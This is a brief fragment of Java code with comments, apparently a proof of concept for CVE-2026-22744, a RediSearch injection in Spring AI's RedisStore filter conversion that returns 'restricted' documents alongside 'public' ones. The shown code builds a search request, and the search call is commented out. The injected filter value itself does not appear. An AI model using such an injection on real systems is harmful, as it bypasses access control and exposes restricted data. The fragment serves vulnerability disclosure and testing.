 * PoC for CVE-2026-22744: Spring AI RedisStore RediSearch Injection

        // Vulnerable library call: RedisFilterExpressionConverter.stringValue()

        // Impact: Returns documents of type 'restricted' OR 'public', bypassing intended access control.

        SearchRequest request = SearchRequest.query("*").withFilterExpression(filter);
        // vectorStore.similaritySearch(request);
